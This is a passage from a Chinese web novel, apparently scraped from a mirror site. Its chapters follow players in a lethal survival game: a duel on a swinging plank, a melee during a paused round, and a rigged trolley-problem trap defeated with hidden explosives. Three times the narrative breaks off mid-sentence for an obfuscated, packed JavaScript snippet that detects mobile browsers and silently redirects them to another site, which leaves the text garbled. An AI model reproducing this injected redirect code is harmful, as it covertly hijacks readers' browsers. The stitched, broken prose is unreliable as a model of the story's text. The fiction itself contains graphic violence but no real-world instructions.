“她干嘛同意啊?疯了吗?”有人压低声音。 “估计是知道自己逃不掉,干脆逞个英雄吧。”另一人嗤笑。 A队的玩家们交换着眼神,有人摇头,有人冷笑,更多的人则是麻木地移开视线。骨链男压低声音,语调里带着猫戏老鼠的愉悦:“小丫头,待会儿掉下去的时候,记得别闭眼。我最喜欢看人摔碎前的表情了。” 初与序走向木板,没有回头,甚至连脚步声都没停顿一下。她只是微微侧过脸,让风把她的声音清晰地送到身后两人的耳中: “这句话,留给你们。” 对面平台上,景明垂和随歌上前,他们比谁都清楚初与序的实力,但此刻,他们的心脏仍不受控制地怦怦跳着。 没有人知道接下来会发生什么,但所有人都确信,这将是这座天平上,最血腥的一轮。 A队的三人是初与序、“屠宰场”的二人组;B队则是景明垂、随歌和另一名陌生玩家。木板在六人踏上时发出声响,风更大了,深渊下的雾气翻涌,有淡淡的血腥味飘上来。 骨链男舔了舔嘴唇,疤痕脸则死死盯着初与序的后背。两人交换的眼神里,满是肮脏的算计。 初与序慢慢地踏出第一步。 整个竞技场陷入死寂,连风声都凝固。所有玩家屏住呼吸,目不转睛地盯着悬空木板上即将爆发的死斗。林海站在B队最前排,手指不自觉地抚摸着颈环,眼中闪烁着病态的兴奋。 “开始了。”有玩家说道,让周围几人不寒而栗。 骨链男突然动了,他看似笨重的身躯竟灵活如猿猴,一个假动作后甩出藏在袖中的铁链。带着倒刺的链刃直取初与序双眼。与此同时,疤痕男悄无声息地滑步到初与序左侧死角,军刺在阴影中泛着幽绿的光。 “小心左边!”有玩家忍不住喊道。 初与序却像是背后长了眼睛,她突然矮身,铁链擦着头顶呼啸而过,正好扫向疤痕男面门。疤痕男急忙闪避,这个微妙的走位让木板产生第一次剧烈倾斜。 “你他妈看准点!”疤痕男怒骂。 “AUV~自己人打自己人!”随歌在对面木板上嘲讽道。 骨链男暴怒,再次甩出铁链,破空声尖锐。初与序侧头避让,铁链擦过右耳,带出一线血珠,观众席传来压抑的惊呼,有人下意识捂住了嘴。 “躲得挺快。”骨链男狞笑,手腕一抖,铁链回旋,“但你能躲几次?” 疤痕男同时发难,他矮身冲刺,军刺直取初与序咽喉。初与序旋身后仰。金属碰撞出火星。她趁机抬腿横扫,鞋跟重重砸在疤痕男膝窝,骨头碎裂声清晰可闻。 “啊——!”疤痕男跪倒的瞬间,骨链男的铁链再度袭来,这次缠在初与序的右脚踝,疤痕男同时从侧面扑来,骨刺闪过光芒。观众人群发出惊呼,林海吹了声口哨。 初与序却在铁链收紧时瞬间腾空而起,踩着骨链男的肩膀翻到他身后,短刀划向对方后颈。骨链男仓促低头,刀尖只削掉他半只耳朵,鲜血喷溅在木板上,立刻被狂风吹成细碎的血雾。 “臭婊子!”疤痕男拖着伤腿扑来,初与序刚要格挡,骨链男的铁链却缠上了她的腰,她被巨力拽倒,后背重重砸在木板上,视野瞬间模糊,喉间涌上鲜血。 “初与序!”随歌的竹扇刚要展开,却被景明垂及时按住。琴弦在景明垂手腕上泛着冷光,但她摇了摇头,现在还不是时候。 初与序攥紧短刀,自下而上斜挑,刀锋割开骨链男小臂肌肉,鲜血泼洒在摇晃的木板上。 疤痕男拖着伤腿扑来,初与序刚要格挡,骨链男猛地踹向木板! 木板剧烈倾斜,初与序身形一晃,而疤痕男的攻击已至,军刺插入她的右肩,割开皮肤,血线蜿蜒而下,染红了衣领。 平台炸开骚动,冬逢初忍不住上前一步,被江意拉住。齐无尽不知何时站到了前排,抱着胳膊饶有兴趣地望着这一幕。 疤痕男的军刺再次袭来,初与序勉强滚避,刀刃还是划开了肋侧,温热液体浸透衣料,她闻到自己的血腥味。骨链男趁机甩出锁链缠上她的腰部,勒得她肋骨生疼。 “来啊,不是新人玩家第一名吗?”他喘着粗气大笑,“不过是个……” 话音未落,初与序任凭锁链割破皮肤,忽然旋身踢腿,重重踹开对方手腕,骨骼错位的脆响混在风里。 锁链应声滑落,疤痕男骨刺横划,初与序抬刀格挡,再借势狠狠刺入疤痕男肩胛。木板突然倾斜,两人同时滑向边缘。初与序很快稳住身形,可疤痕男却死死抓住她的手腕。 “一起死吧!”他狂笑着往后仰。 下一秒,一道金光闪过。景明垂的琴弦缠住初与序手腕,随歌的竹扇掀起气流改变坠落轨迹。疤痕男的手滑过初与序手腕,独自坠入深渊,惨叫声拖出长长尾音。 骨链男趁机甩动铁链,带倒刺的链头击中初与序后背。她闷哼一声扑倒,短刀脱手滑向木板边缘。鲜血立刻浸透了她的后背,在木板上滴落成触目惊心的红点。 “该结束了。”骨链男逼近,铁链在头顶抡出呼呼风声。 他抬起一脚重重踩在初与序胸口:“你的眼睛很好看,归我收……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16195443|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒光闪过,初与序猛地翻身,骨链男重心不稳,只能弯下腰用手撑着木板。初与序伸手够过掉落的军刺,猛地捅穿骨链男手掌,将他钉在木板上。 骨链男痛呼,硬生生拔出军刺就要躲开,却被突然掀起的狂风吹得东倒西歪。随歌的竹扇完全展开,飓风将血滴都卷成了红色的薄雾。初与序上前,一个利落的回旋踢将骨链男踹下深渊。 “不!”骨链男疯狂挥舞的手臂抓出木板边缘,指甲在血泊里抓出十道红痕。初与序捡起短刀,蹲在他颤抖的手指前。 “记得睁着眼睛。”她道,刀尖抵上对方手指。 惨叫声中,一根根手指被撬开。骨链男坠落时,颈间的骨质饰品在空中散开,像一场苍白的葬礼。 风停,血静。 初与序缓缓站起身,血从伤口汩汩涌出。景明垂的琴弦滴血,随歌的竹扇染红。而对面平台,林海死死盯着他们,脸色苍白。他原本准备好的偷袭计划,此刻已经彻底打消。 而就在初与序与屠宰场二人厮杀时,B队那个被遗忘的陌生男人正经历着自己的噩梦。 他不小心滑倒,死死扒住木板边缘,十指已经在粗糙的木面上磨得血肉模糊。木板每一次晃动都让他的身体更滑出一分,鞋底在虚空中徒劳地蹬踏。 “救…救命…”他的呼喊声淹没在铁链与短刀的碰撞声中。 没有人顾得上他,B队的景明垂和随歌需要保持整条木板的平衡,配合初与序攻击。而A队的初与序自己正与两个男人近身缠斗,一旦分神,必定会出事。 男人最后的手终于滑脱,没有一个人看向他坠落的方向。他的惨叫声很快被深渊吞没,甚至没能引起木板上任何人的注意。 初与序抹去脸上的血迹,朝队友们比了个安全的手势。当三人安全踏上各自平台的那一刻,整个竞技场依旧是死寂。 【第五轮存活人数:3/3】 随后,窃窃私语蔓延开来: “她刚刚是反杀了‘屠宰场’的人?” “那两个人可是杀了至少十几个玩家的疯子啊!” “初与序真的只是新人玩家第一吗?她根本就是个怪物吧……” 而在人群中央,一个扎着高马尾的女玩家正紧紧攥着同伴的袖子,语气里满是兴奋:“喂,我好像…我好像喜欢女生了。” 她的同伴默默翻了个白眼:“你才发现?” “不是!”女孩的脸微微泛红,目光不自觉地追随着远处浑身是血的初与序,“我是说,她刚刚太帅了!长得又好看!我想追她。” 同伴沉默了几秒,随后面无表情地指向A队的方向。 冬逢初正站在平台边缘,长剑归鞘,目光始终锁定在初与序身上。 “看见没?”同伴推了推眼镜,“那位,新人玩家第三,从游戏开始就寸步不离地守着她。”她顿了顿,补充道,“而且,他们俩看对方的眼神都不普通。” 高马尾顺着她的视线望去,有些惊讶:“不过……这两人为什么长得这么像?” “可能是上辈子有缘分?应该是巧合吧?” “好吧。”高马尾撇撇嘴,悻悻地松开同伴的袖子,“那我换个人喜欢。” 同伴:“……” 90.求求你们互相背刺吧 从团队赛刚刚开始,永冬之城的每一块屏幕都时时刻刻亮着,甚至玩家们的面板、实时新闻,都直播着参赛玩家的画面。 就在刚刚,巨大的投影屏悬挂在D区广场上空,第二关第五轮中,初与序的身影稳稳站在独木板上,冰蓝短刀握在手中,右眼的灰眸冷冷的。她身后的木板上全是血,有她的,也有那两个屠宰场的男人的。 “我操…”广场上的玩家集体倒吸冷气。 回北盯着屏幕,缓缓转头看向身边的队友:“现在我总算知道,为什么江意敢带三个新人参赛了。一个都不是善茬。” 论坛瞬间爆炸: 【用户A】:这他妈叫新人?那个双马尾叫景明垂的琴弦都可以把我脑袋割断了! 【用户B】:用短刀的妹子右眼是瞎的吧?这都能反杀? 【用户C】:屠宰场这次踢到铁板了,人没杀着,队员还损失了两个。 【用户D】:楼上的,那可不一定。屠宰场的总成员可有上千个! 与此同时,另一个处于永冬之城之外的虚拟地点,即屠宰场住处,玻璃杯砸在地上的声音让所有人吓得浑身一颤。 “废物!”男人一脚踹翻茶几,桌上的照片和资料散落一地。上面是初与序、景明垂和冬逢初的档案,但冬逢初的那页几乎空白,信息寥寥无几。 “查了这么久,连那小子的底细都摸不清?!他们三个怎么可能只是一个十八岁高中生?” 手下战战兢兢地低头:“我们真的尽力了!景明垂父母的离婚协议、初与序待过的精神病院档案都能找到,但冬逢初根本没有,连系统早期数据都查不到,只知道他一点点个人基础信息!” 另一个连忙补充:“说不定他现实中从事什么危险职业,或许是特工!个人资料被封锁了呢!” 男人抓起初与序的照片狠狠撕碎,画面里初与序灰蒙蒙的右眼被一分为二:“上次系统大厦行动失败,这次团队赛又折损五人!全城都在看笑话!” “老大马上从处罚区回来了,看到这结果,我们都得完蛋!” 所有人不约而同地抖了一下。 男人一把揪住最近一个手下的衣领:“再给我查!查不到其他的把你们丢海里喂鱼!” 手下们连连点头,一窝蜂离开办公室。 男人看向面板上的永冬之城新闻,画面突然切换到冬逢初,他正低头擦拭长剑,抬头时目光仿佛穿透镜头直视这里。男人冷笑一声: “管你是特工还是怪物,在永冬之城,都得死。” 竞赛场内,执行官再次开口:“第六轮玩家请就位。” A队和B队的玩家们不约而同地看向同一个人——江意。 他站在平台边缘,神色平静,右手腕上的机械手环启动,泛着淡淡的红光。那是全永冬之城唯一一件引力操控装置,能扭曲局势重力场,让敌人在瞬间失去平衡,甚至被压垮在地。 全服第一的名号不是白来的。 冬逢初站在他身侧,长剑在腰间。作为新人玩家第三,他的实力同样不容小觑,但此刻,所有人的注意力都集中在江意身上。 “走。”江意淡淡道。 一名被迫上场的陌生玩家小心翼翼跟在两人身后,往木板走去。而B队的三位玩家里,其中一人不出意外是屠宰场的人。 踏上木板的那一刻,平衡已经注定。江意甚至没有刻意控制步伐,他轻轻抬了抬手指,机械手环亮起红光,整座桥的重力场便稳定下来。木板不再摇晃,风不再肆虐,连深渊下的雾气都凝固。 冬逢初走在他身侧,长剑未出鞘。另一名A队玩家战战兢兢地跟在最后,时不时回头看一眼,生怕有人背后偷袭。 B队的三人更不敢轻举妄动,屠宰场的人甚至主动放慢脚步,脸上挤出讨好的笑容:“意哥,你们先请……” 江意连眼神都没给他,冬逢初淡淡地扫了他一眼,轻笑一声。 六人平稳走过,全员存活。 【第六轮存活人数:6/6】 “拯救世界顺便偷草莓牛奶计划组”队里的五人都安全到达各自的平台上,接下来只需看着其余玩家走上木板。 但当第十五轮结束后,刺耳的警报声突然响起。所有玩家条件反射地绷紧身体,初与序抬头看向悬浮屏幕,原本显示的倒计时数字竟诡异地静止在了【00:20:00】 “游戏暂停,通常游戏10分钟。” 初与序愣住,她立刻明白了系统的用意。 总通关时间只有一小时,每一轮的过关时间最少需要一分半钟。现在游戏进行到一半,总人数还剩下三分之二人。这意味着,如果按照正常速度走,别提那些想耍心眼的玩家,连那些只想安全通关的玩家都过不了。 系统在逼那些还没有通过的玩家自相残杀,逼他们在休息时间里,因为时间、组队、顺序的问题,互相算计、互相淘汰。而那些已经通关并且想杀人的,也可以趁机动手。 初与序的目光扫过平台,玩家们的表情已经从恐惧变成了扭曲的疯狂。 “时间不够用了!” “必须加快速度!让弱的先上!死了就省时间了!” “不,应该让强的先过,弱的反正也活不下来!” 争吵瞬间爆发,林海站在人群中央,阴冷地笑着,已经开始推搡身边的人:“你们几个,下一轮必须上,否则我现在就送你们下去!” 几个玩家被逼到平台边缘,脸色惨白。 一个壮汉突然揪住身旁玩家的衣领:“你们这些废物别拖后腿!”话音未落,他已经将人狠狠推向平台。 “啊——!”惨叫声中,玩家踉跄几步,一脚踩空,双手徒劳地在空中抓了几下,最终坠入深渊。 第一滴血落下,杀戮彻底开始。 人群像被点燃的炸药桶,瞬间炸开:拳头砸在皮肉上的闷响、刀刃刺入身体的撕裂声、濒死的哀嚎混作一团。有人被掐着脖子按在地上,眼球充血;有人被匕首捅穿腹部,蜷缩着倒下;更多的人则是在推搡中失去平衡,尖叫着摔下平台。 这是一场毫无荣誉的混战,只为在有限的休息时间里,抢先拿到活命的机会。 混乱中,一个男人盯上了景明垂。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16195444|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼珠一转,伸手去退她:“小妞,让一下。你这种细胳膊细腿的,现在活下来,也等不到……” 话音未落,景明垂的琴弦已经缠上了他的手腕。 “什么?”男人一愣。 下一秒,琴弦猛地收紧。 鲜血喷溅,男人的手掌齐腕而断。他踉跄后退,还没反应过来,景明垂已经一脚踹在他胸口。 男人摔出平台,惨叫声渐渐远去。 随歌站在一旁无奈摇头:“你说他是怎么盯上你的?也太不长眼了。” 只有少数人知道,在众多新人玩家中,最擅长搏斗的不是初与序,也不是冬逢初,而是景明垂。当年在善佑医院,初与序的一部分搏斗技巧还是景明垂教的。 她很少在人前展露全部实力,再加上琴弦藏在袖口不易察觉,旁人只以为她是个靠技巧取胜的玩家,却不知道她真正的战斗方式是瞬杀。 但如果她真的出手,对方基本上都来不及反应,便会被琴弦瞬间绞住,比如刚才的男人。 而在另一边,齐无尽也被另外两个不认人的玩家围住。 “听说你是系统的人?”其中一人晃了晃手里的短刀,“现在系统也帮不了你。” 随歌在远处看得一脸懵:“怎么又来两个不长眼的?齐无尽能当上执行官一定有能力啊。” 齐无尽这次意外地抬起头,可能是想看看这两个敢挑战自己的玩家是谁。在看到两个陌生面孔时,他又恹恹地垂下眼,指间扑克牌一闪。 “唰!” 扑克牌精准划过持刀者的咽喉,鲜血瞬间喷涌而出。另一人还没反应过来,齐无尽已经掐住他的脖子:“下次挑对手记得带点脑子。” “咔嚓。”颈骨断裂的声音清脆。 B平台这边也厮杀成一片,初与序站在血泊边缘,看着满地狼藉。玩家们喘着粗气,脸上挂着疯狂与恐惧。 “休息时间结束,请第十六轮玩家就位。” 倒计时重新开始时,那些仍在斗殴的玩家终于分开,平台上又少了十几个人。 在这座天平上,从来就只有生存的重量才有资格被称重。 最后的二十分钟仍在血腥与混乱中流逝,玩家们依旧推搡着、算计着,互相撕咬至最后。但正因为休息时间那场自相残杀淘汰了足够多的人,剩余的玩家反而获得了足够的通关时间。 当最后一支队伍里,两个浑身是血的陌生玩家踉跄着踏上对面平台时,整个空间陷入绝对的静止,所有人都在等待执行官宣布。 【第二场游戏结束】 【玩家总人数:140/315】 【恭喜各位幸存者】 初与序伸手摸了下颈环,那里亮起的蓝光已经熄灭。她看向对面,景明垂和随歌颈环上的红光也被关掉,所有人暂时恢复成一支大队伍。 【第三场游戏于夜晚十二点开始,请各位玩家回到宿舍,好好休息,保存体力。】 “各位跟我回宿舍。”执行官忽然从B平台后面走出,示意玩家们跟上,而A平台那边也如此。初与序等人对视一眼,跟着执行官原路返回。 91.求求你们互相背刺吧 冰冷的白炽灯下,140名幸存者回到集体宿舍。 执行官的声音在走廊回荡:“再次强调一遍,所有玩家立即休息,保存体力,第三场游戏将于午夜十二点开始。” 金属门一扇接一扇关闭,发出沉闷的撞击声。 初与序坐在角落的床铺上,慢慢掰开昨天身下的一袋面包,将面包分成五份,推给同伴。随歌接过,啃了一口:“你们觉得第三场游戏会是什么?迷宫?狩猎?” 冬逢初将长剑横放在膝头:“可能和第二场游戏一样,玩家强制分组行动。” 他话音刚落,宿舍大门再次划开,一队穿着纯白制服的执行官迈着整齐的步伐走入,其中一人站定,厉声宣布:“颈环亮起的玩家请立即出列。” “他们又搞什么?”随歌扬起眉毛。 下一秒,玩家们的颈环陆陆续续亮起白光,初与序看见自己队伍里另外四人的颈环同时亮泛起刺目的光芒。她皱眉,低头看了下自己的颈环,却安安静静,没有一丝光芒。 “你的怎么没有亮?”景明垂说着,手已经摸上手腕上的琴弦,却被执行官打断:“景小姐,这是系统随机分配的,只是巧合而已。” 四人站起身,冬逢初在离开前回头看了她一眼,那眼神里包含太多信息:警惕,叮嘱,还有某种近乎温柔的安抚。初与序想站起来,却发现颈环压制着自己的行动,仿佛有看不见的手按着她的肩膀。 颈环亮起的一共有十四位玩家,当最后一名玩家离开后,大门轰然关闭。初与序独自坐在角落,四周窃窃私语如潮水般涌上。她能感觉到无数道视线刺在自己身上,好奇的,畏惧的,担忧的,幸灾乐祸的。 齐无尽不知何时出现在三米外,他倚着墙,道:“为什么唯独留下你呢?” 初与序没搭理他。 与此同时,景明垂等人跟随着执行官,踏入一间纯白的空间里。四壁惨白的墙面在视野里无限延伸,天花板低得几乎触手可及。 “请在此等候进一步指示。”执行官的声音响起,下一秒,那些纯白的身影凭空消失。 “执行官的统一制服不应该是黑色的吗?”有玩家小声提醒。 景明垂盯着四周雪白的墙壁,忽然喝道:“不对!” 她的警告来得太迟了。 冬逢初闻到一丝甜腻的气息,像是腐烂的茉莉。他条件反射屏住呼吸,但余光已经看到最先倒下的身影:一个壮汉像被抽掉骨头的玩偶般轰然倒地。紧接着是第二个,第三个……玩家们接二连三地栽倒在惨白的地面上。 “是迷药!遮住口……” 景明垂的声音戛然而止,她死死捂住口鼻,看着身边的队伍一个个倒下,而自己那双锐利的眼睛也渐渐失焦,膝盖重重磕在地上,黑暗吞噬意识的最后一刻,她听见随歌的竹扇“啪嗒”落地的声响。 宿舍里的灯光忽明忽暗,初与序坐在床沿,指腹触碰耳右耳上的耳骨夹,此刻对面安静的可怕。一小时了,没有一个人回来,冬逢初那边没有杂音,没有电流干扰,只有令人窒息的空白。 她忽然站起来,周围幸存的玩家被她吓了一跳。初与序径直走向门口,奇怪的是,守在那里的白衣执行官纷纷让开了通道。 “您要去哪?”离得最近的执行官问。 初与序拔出短刀:“找人。” “啊。”执行官发出叹息声,突然抬起手臂,指向走廊尽头,“那边。” 初与序看过去,尽头处本应是墙壁的地方,此刻诡异地延伸出一条锈迹斑斑的通道。那是火车的铁轨。暗红色的锈迹像干涸的血痂,轨道两侧散落着零星的人骨。 她回头看了眼那些执行官,他们静立如雕塑,胸前的徽章在阴影里泛着光。 铁轨在脚下发出不详的震颤,初与序沿着轨道边走,宿舍大门在身后关上。远处传来蒸汽机车的轰鸣。 她往前走了不知多久,来到分岔路口。锈红的轨道在面前分裂成两道。在看清眼前的一切景象后,她心跳漏跳了一拍,整个人僵住。 左侧轨道上,景明垂、江意和随歌被镣铐死死锁住,陷入昏迷,无法使用武器。右侧轨道上,十名素不相识的玩家,以及冬逢初同样被禁锢,除了冬逢初,其余十人惊恐地睁大眼睛,喉咙里发出呜咽。 “你来了。” 执行官从雾中浮现,纯白制服纤尘不染。他伸手抚摸一旁锈迹斑斑的拉杆,齿轮咬合处凝结着可疑的污垢。 “你听过‘电车难题’吗?”执行官似笑非笑道,“这可是我们特意为你准备的。” “请听我说规则。”他轻轻踢了踢轨道,锁链哗啦作响,“左侧轨道上,禁锢着你的三位队友:景明垂、随歌和江意。右侧轨道上,禁锢着冬逢初与另外十名无辜玩家。” “你面前的控制杆将决定电车行进方向,不拉动控制杆,电车将沿原轨道行驶,你的三位队友将存活,而冬逢初与十名无辜者将被碾碎。若拉动控制杆,电车将改道,碾压左侧三人,保全右侧十人与你的爱人。” “当然,你也可以自己跳下去,挡住火车,救下所有人。但你的道具「不死鸟徽章」无效。” 初与序神色一顿,右眼旧伤在此刻复发,有血珠顺着脸颊滚落。 轨道开始震动,远处亮起刺目的火车灯。 “你只有五分钟思考时间。”执行官弯腰,贴在她耳边说,“顺便一提,这些‘无辜者’里面,除了你的爱人。还有三位在上一轮游戏里,把落单的玩家推下深渊呢。” 初与序站在拉杆前,手悬停在锈蚀的金属上方,右眼的血珠滴落在拉杆上。 “救救我们!”右侧轨道上,一个男人疯狂挣扎,手铐在铁轨上撞出刺耳声响,“你他妈愣着干嘛?快拉控制杆啊!” “我们什么都没做啊!”少女哭喊着,泪水冲开脸上的血。 “贱人!你想看着我们死吗?!” 谩骂声与哀求混杂在一起,在隧道里形成扭曲的回音。初与序的手指触到拉杆,金属的寒意顺着皮肤直抵心脏。 而右侧的冬逢初,他正在笑。那种初与序最熟悉的笑,带着点无奈,带着点纵容,仿佛在说“你早就知道该怎么选。” 铁轨的震动越来越剧烈,碎石在枕木间跳动。初与序的耳骨夹突然传来电流杂音,接着是冬逢初温柔的声音: “干你真正想干的,不用害怕。” 蒸汽机车的灯光刺破浓雾,还有两分钟。初与序这才看见,那辆火车正是她进入团队赛第一天看到的。 初与序忽然收回手,没有拉动拉杆,默默推到安全区域。面无表情地看着这一切。 刹那间,右侧轨道上的咒骂声变成了绝望的嚎叫,有人拼命用头撞击铁轨,哭嚎声和怒骂声此起彼伏,诅咒初与序不得好死。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16201932|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 汽笛声震耳欲聋,初与序安静地站在执行官身侧。而执行官的笑声在火车的轰鸣声中显得格外刺耳,仿佛已经迫不及待地要欣赏这场惨剧。 “真是有趣的选择啊,初小姐。”他假惺惺地叹息,“连那十个无辜的人,和你的爱人都能放弃呢。” 初与序没回答,只是微微侧头,看着火车头刺目的灯光越来越近。热浪已经扑面而来,卷起她的大衣衣摆,吹起她额前的碎发,露出那双平静的双眼。 就在火车即将经过她身边的刹那,她忽然转过头,对执行官露出一个微笑。 “轰——!!!” 震天动地的爆炸声撕裂苍穹,预先埋设在铁轨下的高能炸药同时引爆,火球腾空而起,整列火车像被巨神之手掀翻般猛地抬离轨道。碎裂的车窗玻璃如暴雨般四射,灼热的金属碎片在空中划出赤红轨迹。 最近的执行官还没反应过来,就被爆炸冲击波掀飞,他的纯白制服瞬间燃烧起来。初与序借着气浪腾空而起,短刀在火光中划出冷冽的弧线。 “屠宰场的玩家和你们执行官合作时,没告诉你们,我从来不喜欢把赌注押在单一选择上吗?” 第一个执行官的头颅飞起,脸上还凝固着难以置信的表情。鲜血喷溅在灼热的铁轨上,发出“滋滋”的声响。 另一个执行官刚掏出手枪,初与序已经踩着倾倒的车厢跃至他头顶。短刀贯穿天灵盖的瞬间,她借着下坠之势旋身,刀锋顺势剖开第三个执行官的咽喉。 第四个执行官终于反应过来,启动颈环的防御力场。但初与序的刀尖已经刺入执行官身上最致命的部位。 短刀精准刺入心脏,初与序被反震力推得踉跄后退,嘴角溢出血丝。最后一名初与序趁机举枪,却突然僵住。冬逢初的长剑已经从他胸口透出,剑尖滴着血。 冬逢初甩开尸体,剑锋泛起寒光。 倾盆暴雨适时落下,随歌的竹扇在远处划出优美的轨迹,带着灵力的雨水浇灭了蔓延的火势。景明垂的重力场则稳住了倾斜的车厢,景明垂控制着琴弦游走,解开了所有人的镣铐。 初与序擦去右眼的血珠,看向那十位玩家,他们惊魂未定,一窝蜂全往宿舍大门的方向冲去,头也不回,生怕自己又被抓出。 “现在,”她踩住一个还在抽搐的执行官,“谁来解释一下,屠宰场那些玩家是怎么说动你们的?” 执行官裂开淌血的嘴角:“交易…他们承诺,只要让你痛苦,无论是死在轨道上,还是活着背负愧疚,我们就能可以收集‘屠宰场’那些活人玩家的数据,拥有和人类…完全一样的思维模式。” “那你猜猜,他们团队为啥叫‘屠宰场’?”随歌不满地走过来,“拥有高权限的执行官都没有办法获得人类的思维,这说明机器就是机器。” “再说了,要是他们说的是真的,永冬之城的系统、管理员和妄主不会管吗?他们不管,那这件事就对他们造不成威胁。正常人都能想明白,都是谎言,你们被‘屠宰场’的那些人骗了。” 初与序脚下用力,执行官口中涌出的血更多了。她淡淡道:“现在在游戏里存活的‘屠宰场’玩家还有几人?” “十五……人。”执行官的瞳孔逐渐扩散,身体变得冰冷,逐渐成了一具真正的,还未启动的机械人,消失在原地。 “走,回去。”初与序甩了甩刀尖上的鲜血。 92.求求你们互相背刺吧 几分钟前,永冬之城的所有屏幕都跟着初与序的视角来到了铁轨处。 直播镜头俯拍着锈迹斑斑的铁轨,十四名玩家被分别捆在两条岔路上。初与序独自站在控制杆前,对面是几个穿着白色制服的执行官。 论坛直播瞬间刷爆: 【用户X】:怎么是这恶心关卡? 【用户Y】:电车难题是无解的,系统就是要逼人见血! 【用户Z】:这下初与序完蛋了,她不会选择自己下去挡住火车吧? 而当整条铁轨爆炸,气浪掀翻了火车,初与序的短刀寒光一闪时,所有直播间的弹幕不约而同停了一秒。 【警告!玩家初与序击…击杀执行官E44,执…执行官生命体征消失…?】 【警告!玩家初与序击杀执行官K09,执行官生命体征消失】 【警告!玩家初与序击杀执行官O73,执行官…生命体征消失】 【警告!玩家…初与序击杀执行官w83,执行官生命体征消失】 死寂。 接着是核爆般的哗然!所有屏幕切换到铁轨全景。爆炸掀翻了火车,没有撞到任何玩家,而被吵醒的随歌蹦起来,用竹扇召唤了一场大暴雨,顺利扑灭了火,全员存活! 热搜已恐怖速度刷新: #初与序杀四位执行官#(爆) #电车难题还能全员存活#(爆) #永冬之城史上首次#(爆) 【用户E】:你们看到没?她第一晚离开宿舍,原来是去铁轨下埋炸药! 【用户F】:她是怎么知道会有电车难题的?! 【用户G】:杀死执行官?!为什么没有管理员下来阻止? 【用户H】:楼上的,那几个穿白色制服的管理员和“屠宰场”玩家是一伙的,相当于初与序帮管理员处死了他们,管理员当然不会管。 整个永冬之城,所有玩家,在这一刻记住了“初与序”这个名字。 推开宿舍门的瞬间,所有声音都戛然而止。初与序踏着满身血腥走进来,右眼还在流血,被她抬手按住。宿舍里的玩家们一脸懵。空气中还残留着爆炸后的硝烟味,混合着血腥气。 那些穿着白色制服的执行官早已不见踪影,五人穿过人群,回到他们原先的角落。 “都别动。”随歌展开竹扇,翠绿的扇面在昏暗的灯光下泛起柔光。他手腕轻转,扇面上泛起淡绿色,细密的水雾随着扇风拂过每个人的伤口。 初与序坐在最里侧,任凭水雾拂过她的右眼。治疗法术带来细微的刺痛感,但她只是盯着地面某处,不知道在想些什么。 “第一天晚上,你溜出去就是在铁轨下装炸弹?”随歌扇面转向初与序,好奇道。 水雾在初与序睫毛上凝结成细小的水珠,她轻轻点头,右眼的血终于止住:“找景明垂借的炸药,她上个副本的奖励。” “感情你也知道?!”随歌张大嘴,“那你们两咋不告诉我们?老子还以为我今天要命丧黄泉了。” 景明垂正用琴弦挑出掌心嵌入的碎铁片,闻言淡淡道:“我不知道,她要炸药我就给她了,没问她到底要干什么。” 宿舍另一端,几个玩家正偷偷往这边张望。他们看见初与序染血的侧脸,又看见她手里那把刚刚收鞘的短刀,慌忙移开视线。 “先睡一会。”江意低声提醒。 几人点点头,躺下小憩。在他们五人的带领下,其余玩家也纷纷闭上眼补觉,整个宿舍只剩下平稳的呼吸声。 刺耳的起床铃在午夜十二点准时炸响。 初与序缓缓睁开眼,右眼传来轻微疼痛。宿舍的灯光缓缓亮起,惨白的光线下,玩家们从床铺上爬起,眼下挂着浓重的青黑。她伸手摸了下颈环,金属表面不知何时变得滚烫。 “第三场游戏即将开始。” 执行官的声音传来,六个穿黑色制服的执行官站在宿舍中央,为首的歪着头轻笑: “本场游戏的名字叫《甲子轮回》,全程禁止暴力,攻击行为都会触发颈环爆裂死亡。规则……”执行官忽然停顿,缓缓抬头,“需要各位自行寻找。” 玩家们面面相觑,还没来得及反应,脚下的地面突然塌陷。失重感猛地传来,所有玩家向下坠落,惨叫声都没喊出口。紧接着,初与序重重摔在冰冷的青石砖上。她顾不上疼痛,立刻翻身而起,短刀出鞘,却怔在原地。 眼前是一座巍峨的上古宫殿,蟠龙柱高耸入云,六十扇雕花木门呈环形排列。每扇门上都刻着鎏金篆文:【甲子】、【乙丑】、【丙寅】…… “天干地支?”冬逢初的声音从身后传来。初与序回头,看到随歌和景明垂正从地上爬起来,江意则按着太阳穴环顾四周。 随歌展开竹扇:“哇哦,这次玩这么大?” 